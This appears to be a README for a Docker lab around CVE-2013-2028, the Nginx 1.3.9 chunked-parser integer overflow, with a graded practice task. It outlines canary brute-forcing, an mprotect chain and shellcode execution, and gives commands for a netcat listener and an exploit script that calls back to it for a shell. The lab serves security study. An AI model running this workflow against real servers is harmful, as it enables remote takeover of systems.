vanivamshi/cve-2013-2028-exploitDocker-based lab and Python exploit for CVE-2013-2028, an Nginx 1.3.9 chunked-parser integer overflow, covering canary recovery, mprotect, and shellcode execution.
Vulnerable software: Nginx 1.3.9
Vulnerable function: ngx_http_parse_chunked
CVE-2013-2028 is an integer overflow vulnerability in Nginx's HTTP chunked transfer encoding parser. Under the conditions targeted by this laboratory environment, the vulnerability can result in memory corruption and can be used to influence control flow.
This repository provides an isolated Docker-based environment for studying the vulnerability and reproducing the exploitation workflow.
The complete exploit consists of four main phases:
Stack canary recovery
Recover the stack canary through byte-by-byte probing.
Memory protection manipulation
Calculate the relevant address information and construct the required control-flow sequence to invoke mprotect on the controlled memory region.
Shellcode placement
Copy the payload into the controlled memory region.
Control-flow transfer
Transfer execution to the controlled memory region.
The complete exploit demonstrates the progression from triggering the vulnerable parser through memory corruption and control-flow manipulation to controlled code execution.
exploit.pynetcat for the listener used by the complete labOn the host system, start a listener on the configured port:
nc -lvp 4345
Use the same port with the --listenerport (-lp) argument when running the exploit.
Build and start the Docker environment:
sudo docker-compose up --build
The vulnerable target runs Nginx 1.3.9 inside the container.
You can verify the Nginx version with:
docker-compose exec cve-2013-2028 /usr/local/nginx/sbin/nginx -v
Run:
python3 exploit.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port>
The exploit performs the canary-recovery and payload-construction stages before sending the final payload to the vulnerable target.
If a previously recovered canary is available, it can be supplied using:
python3 exploit.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port> \
-c '<canary>'
The repository also provides an intermediate task for evaluating progress through the vulnerability-research workflow.
Run:
python3 intermediate_task.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port>
The intermediate task performs its checks directly against the running Docker target. It does not rely on manually created evidence files or manually supplied JSON assertions.
The task verifies two areas:
The task:
The task:
nginx -t.The configuration check establishes that the Nginx configuration is syntactically valid. It should not by itself be interpreted as proof that CVE-2013-2028 has been mitigated.
Example output:
============================================================
CVE-2013-2028 INTERMEDIATE TASK
============================================================
Target:
nginx running: True
nginx version: 1.3.9
vulnerable build: True
Progress:
[x] vulnerability_identified
[x] configuration_validated
All required checks completed.
Exercise complete.
The intermediate task stores the results of these runtime checks in:
grader_state.json
This file is used only to persist the state produced by the checks. It is not the source of the vulnerability determination.
The laboratory environment intentionally uses Nginx 1.3.9, an old Nginx release affected by CVE-2013-2028.
The Docker environment provides an isolated target for vulnerability research and exploitation exercises. The vulnerable service should be accessed only through the interfaces exposed by the laboratory configuration.
This repository is intended solely for educational and authorized security-research purposes in an isolated laboratory environment.
Do not run the exploit against systems that you do not own or do not have explicit authorization to test.